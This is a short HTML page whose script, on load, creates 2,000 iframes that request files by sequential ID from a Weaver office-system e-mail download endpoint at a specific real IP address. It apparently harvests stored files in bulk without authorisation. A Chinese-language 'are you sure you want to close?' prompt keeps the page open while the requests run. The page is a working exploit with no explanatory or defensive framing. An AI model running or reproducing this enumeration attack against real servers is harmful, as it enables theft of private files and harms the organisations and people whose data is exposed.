<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>l</title>
<style>
.frame
{
width:200px;
height:200px;
}
</style>
<Script>
window.onbeforeunload = function(){
return '你确定要关闭吗？';
}
window.onload= function()
{
for(var obj=1;obj<=2000;obj++)
{
var istr="http://219.150.85.232:82/weaver/weaver.email.FileDownloadLocation?fileid="+obj;
var iframe = document.createElement("iframe");
iframe.src=istr;
iframe.className="frame";
iframe.id="iframe"+obj;
document.body.appendChild(iframe);
}
}
</script>
</head>
<body>
</body>
</html>